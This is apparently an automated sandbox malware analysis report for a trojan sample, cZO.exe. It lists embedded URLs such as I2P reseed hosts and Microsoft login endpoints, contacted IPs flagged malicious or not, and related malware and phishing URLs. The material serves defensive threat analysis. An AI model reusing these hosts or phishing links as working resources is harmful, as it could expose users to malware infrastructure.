https://reseed.i2pgit.org/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: malware	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3	main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i2p.novg.net/:	main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srfU	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS	svchost.exe, 0000001F.00000003.3199473486.000001D37989B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183985353.000001D379382000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D379382000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed-pl.i2pd.xyz:443/i2pseeds.su3T	main.exe, 00000016.00000003.2494432573.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed-pl.i2pd.xyz/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
http://stats.i2p/cgi-bin/newhosts.txt	shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:8118	shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000003.2456738676.0000022350291000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2456860774.0000022350297000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
https://reseed.onion.im/	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: safe	unknown
https://i2p.mooo.com/netDb/	shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
https://reseed2.i2p.net/	main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.11.dr	true	Avira URL Cloud: malware	unknown
http://Passport.NET/tb	svchost.exe, 0000001F.00000002.3263371493.000001D379800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3209006685.000001D379382000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263092922.000001D379313000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed.stormycloud.org/??	main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 0000001F.00000002.3263271717.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143492582.000001D37937A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111301830.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3262754497.000001D378AD2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111317881.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3036974940.000001D379352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199322434.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183904232.000001D37930F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 0000001F.00000003.3183713515.000001D379377000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263271717.000001D37937C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed.i2pgit.org/i2pseeds.su30	main.exe, 00000016.00000003.2503133983.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://signup.live.com/signup.aspx	svchost.exe, 0000001F.00000003.3023799636.000001D379355000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023966604.000001D379340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023930406.000001D37933B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D37932C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed.stormycloud.org/7	main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263196941.000001D37935F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199322434.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183904232.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263092922.000001D379313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 0000001F.00000002.3263129207.000001D379337000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA	svchost.exe, 0000001F.00000003.3130435099.000001D379329000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed.i2p-projekt.de/	shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	false		high
https://netdb.i2p2.no/	shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023767682.000001D379310000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfToken	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srfU	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www2.mk16.de/J	main.exe, 00000016.00000002.3155678668.000002235025D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reseed-pl.i2pd.xyz/i2pseeds.su3	main.exe, 00000016.00000003.2484244836.00000223506CE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2494432573.00000223506CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3024091052.000001D379356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D379329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023697164.000001D37932C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023799636.000001D379352000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263196941.000001D37935F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://reg.i2p/hosts.txt9	main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://legit-website.com/i2pseeds.su3	shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd$	svchost.exe, 0000001F.00000003.3183261030.000001D379308000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA	svchost.exe, 0000001F.00000003.3143580946.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143291121.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3156389621.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112272695.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111493334.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183931947.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143546975.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263042958.000001D379310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3156417903.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111460681.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183773272.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3184036782.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3130778572.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111301830.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111317881.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183261030.000001D379308000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183958551.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3184178913.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143745371.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199403669.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112006865.000001D37930E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i2p.ghativega.in/b.c	main.exe, 00000016.00000002.3155678668.00000223502E7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2471613149.00000223502F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf	svchost.exe, 0000001F.00000002.3262495369.000001D378A46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023982986.000001D379363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3023913746.000001D37934D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
87.209.87.178	unknown	Netherlands	13127	VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	false
147.79.71.139	unknown	United States	208485	EKSENBILISIMTR	false
24.57.10.130	unknown	Canada	7992	COGECOWAVECA	false
31.3.152.100	unknown	Sweden	51430	ALTUSNL	false
155.93.133.82	unknown	South Africa	37680	COOL-IDEASZA	false
107.189.28.6	unknown	United States	53667	PONYNETUS	true
23.137.249.66	unknown	Reserved	397614	GTLAKESUS	false
95.216.2.172	reseed.memcpy.io	Germany	24940	HETZNER-ASDE	true
36.37.69.163	unknown	Indonesia	4800	LINTASARTA-AS-APNetworkAccessProviderandInternetServic	false
139.59.231.96	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	false
144.76.102.56	unknown	Germany	24940	HETZNER-ASDE	false
123.215.14.113	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
78.191.208.199	unknown	Turkey	9121	TTNETTR	true
118.136.159.58	unknown	Indonesia	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
47.221.95.89	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
148.135.95.231	unknown	Sweden	158	ERI-ASUS	false
78.57.19.55	unknown	Lithuania	8764	TELIA-LIETUVALT	false
185.148.3.164	unknown	Finland	203003	MAGNA-CAPAXFI	false
188.174.152.142	unknown	Germany	8767	MNET-ASGermanyDE	false
194.54.156.174	unknown	Ukraine	8654	CRIMEAINFOCOM-ASUA	false
77.238.244.54	unknown	Russian Federation	42429	TELERU-ASRU	false
120.24.253.140	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
84.52.93.26	unknown	Russian Federation	25408	WESTCALL-SPB-ASRU	false
24.125.49.216	unknown	United States	7922	COMCAST-7922US	false
2.155.132.51	unknown	Spain	12430	VODAFONE_ESES	false
179.254.168.215	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
45.200.148.158	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
92.39.210.213	unknown	Russian Federation	39001	MTSRU	false
145.220.60.21	unknown	Netherlands	1101	IP-EEND-ASIP-EENDBVNL	false
101.191.73.121	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
65.109.174.146	unknown	United States	11022	ALABANZA-BALTUS	false
49.176.22.233	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
50.37.113.212	unknown	United States	27017	ZIPLY-FIBER-LEGACY-ASNUS	false
57.128.196.4	unknown	Belgium	2686	ATGS-MMD-ASUS	false
95.158.36.98	unknown	Ukraine	35362	BESTBestISPUA	true
31.10.150.55	unknown	Switzerland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
73.110.171.77	unknown	United States	7922	COMCAST-7922US	false
95.105.66.5	unknown	Russian Federation	57128	KGS-NETRU	false
72.11.42.34	unknown	United States	22709	NSTELCOUS	false
82.65.181.52	unknown	France	12322	PROXADFR	false
71.246.18.247	unknown	United States	701	UUNETUS	false
78.58.40.197	unknown	Lithuania	8764	TELIA-LIETUVALT	false
176.241.49.148	unknown	Hungary	20845	DIGICABLEHU	false
45.83.104.162	unknown	Germany	197540	NETCUP-ASnetcupGmbHDE	false
67.2.9.136	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
208.113.128.162	unknown	United States	26347	DREAMHOST-ASUS	false
128.140.43.40	unknown	Germany	24940	HETZNER-ASDE	false
108.61.189.74	unknown	United States	20473	AS-CHOOPAUS	false
193.233.193.76	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
198.74.48.115	unknown	United States	63949	LINODE-APLinodeLLCUS	false
120.77.100.135	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
174.164.200.204	unknown	United States	7922	COMCAST-7922US	false
68.183.196.133	reseed.i2pgit.org	United States	14061	DIGITALOCEAN-ASNUS	true
46.142.175.43	unknown	Germany	8881	VERSATELDE	false
69.10.220.235	unknown	United States	20394	MASHELL-TELECOMUS	true
213.108.251.66	unknown	Russian Federation	49834	BESTHOSTINGRU	false
178.175.134.3	unknown	Moldova Republic of	43289	TRABIAMD	false
185.226.181.238	reseed-pl.i2pd.xyz	Spain	197518	RACKMARKTES	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584500
Start date and time:	2025-01-05 17:48:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cZO.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@46/72@4/59
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 20.3.187.198, 52.165.164.15, 40.126.32.74, 20.190.160.17, 40.126.32.133, 40.126.32.136, 20.190.160.22, 20.190.160.20, 40.126.32.138, 40.126.32.76, 20.189.173.21, 13.107.246.45
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, glb.cws.prod.dcat.dsp.trafficmanager.net, blobcollector.events.data.trafficmanager.net, sls.update.microsoft.com, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target cZO.exe, PID 7128 because there are no executed function
Execution Graph export aborted for target shdpeqdz2a54sj46ur0.exe, PID 7088 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:48:57	API Interceptor	155x Sleep call for process: cZO.exe modified
11:48:59	API Interceptor	39x Sleep call for process: powershell.exe modified
11:50:15	API Interceptor	5149x Sleep call for process: main.exe modified
11:50:48	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
23.137.249.66	file.exe	Get hash	malicious	Unknown	Browse
95.216.2.172	file.exe	Get hash	malicious	Unknown	Browse
194.54.156.174	DF2.exe	Get hash	malicious	Unknown	Browse
31.3.152.100	ZJYhnDLhwa.exe	Get hash	malicious	Remcos	Browse
	ZfigYV6HXd.exe	Get hash	malicious	Remcos	Browse
	g4E1F7Lc2O.exe	Get hash	malicious	Remcos	Browse
	yVhvGnsUpL.exe	Get hash	malicious	Remcos	Browse
	BoFA_Remittance Advice_21219.xlsm	Get hash	malicious	Remcos DBatLoader	Browse
	IQl00lxPjo.exe	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reseed.i2pgit.org	DF2.exe	Get hash	malicious	Unknown	Browse	68.183.196.133
reseed.memcpy.io	file.exe	Get hash	malicious	Unknown	Browse	95.216.2.172
bg.microsoft.map.fastly.net	jaTDEkWCbs.exe	Get hash	malicious	Quasar	Browse	199.232.210.172
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	N5kEzgUBn6.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	199.232.214.172
	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	199.232.214.172
	N5kEzgUBn6.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	199.232.210.172
	setup64v9.3.4.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	KpHYfxnJs6.exe	Get hash	malicious	Blank Grabber	Browse	199.232.210.172
	c2.hta	Get hash	malicious	Remcos	Browse	199.232.214.172
	phishingtest.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	a36r7SLgH7.exe	Get hash	malicious	AsyncRAT	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	62.58.31.151
	3.elf	Get hash	malicious	Unknown	Browse	82.174.140.190
	kwari.mpsl.elf	Get hash	malicious	Unknown	Browse	143.185.252.107
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	87.208.168.138
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	87.208.130.132
	armv5l.elf	Get hash	malicious	Unknown	Browse	62.59.121.44
	nabarm.elf	Get hash	malicious	Unknown	Browse	87.215.239.164
	nklspc.elf	Get hash	malicious	Unknown	Browse	87.208.121.121
	jklmips.elf	Get hash	malicious	Unknown	Browse	87.212.252.199
	armv6l.elf	Get hash	malicious	Unknown	Browse	143.186.106.176
EKSENBILISIMTR	https://google.co.ve/url?6q=emgjbxlJLi6z73yh&rct=tTPvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s%2fsoftilac.com.tr%2f7yoya/jiehcuo2ndtn1/ZHRob3JuZUBpa2FzZ3JvdXAuY29t%C3%A3%E2%82%AC%E2%80%9A$$$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse	45.143.99.90
	https://linktr.ee/priyanka662	Get hash	malicious	Gabagool	Browse	147.79.74.176
	https://pub-a652f10bc7cf485fb3baac4a6358c931.r2.dev/dreyflex.html	Get hash	malicious	Gabagool	Browse	147.79.74.176
	Iamgold-PYMPATA Policy_Enrollment2024739441.rtf	Get hash	malicious	Unknown	Browse	147.79.74.176
	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Fmyarrowleaf1-my.sharepoint.com%2F%3Af%3A%2Fg%2Fpersonal%2Fmarge_penrod_myarrowleaf_org%2FElQV40bjfBZKivPSKIPxGuYBa20TAVuQG9ya4YrQRKjHiQ%3Fe%3D7nML8f&data=eJxVzctugzAQBdCvMbtGBqOkWXhBlOYhUiW0VaR0gyZgGyL80Ng05e8L6aaVZlZz7p2Kz5PlPI1BxBQqFtW8qkF14P2ssjrSfEEPxukjHONsHXlusRboSUrN_aG0VA-IPFyxVU0QOB7_dfS8CcF5wjKSbMbRAyDaeydAxk96mPkGUDjbmjDxybBM_mo1rhv_WQPdlARUonTCoK3LPzWlxUm-dMU5pdebXH3m7dfpPd-fvrf9ZQUJ_cjOfbFdDpBesHjLb7u2IGwjCFsvzOvhWf4A0NhYxQ%25%25	Get hash	malicious	Unknown	Browse	147.79.74.176
	scan3762399_arleen@wcctxlaw.com.pdf	Get hash	malicious	Unknown	Browse	147.79.74.176
	QeTCfhacvf.exe	Get hash	malicious	Orcus	Browse	45.10.151.182
	ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg	Get hash	malicious	Unknown	Browse	147.79.74.176
	xxTupY4Fr3.xlsx	Get hash	malicious	Unknown	Browse	147.79.119.141
	https://averellharriman.sharefile.com/public/share/web-s3b96c17360cd43e7bdcaf25a23709fd0	Get hash	malicious	Unknown	Browse	147.79.74.176
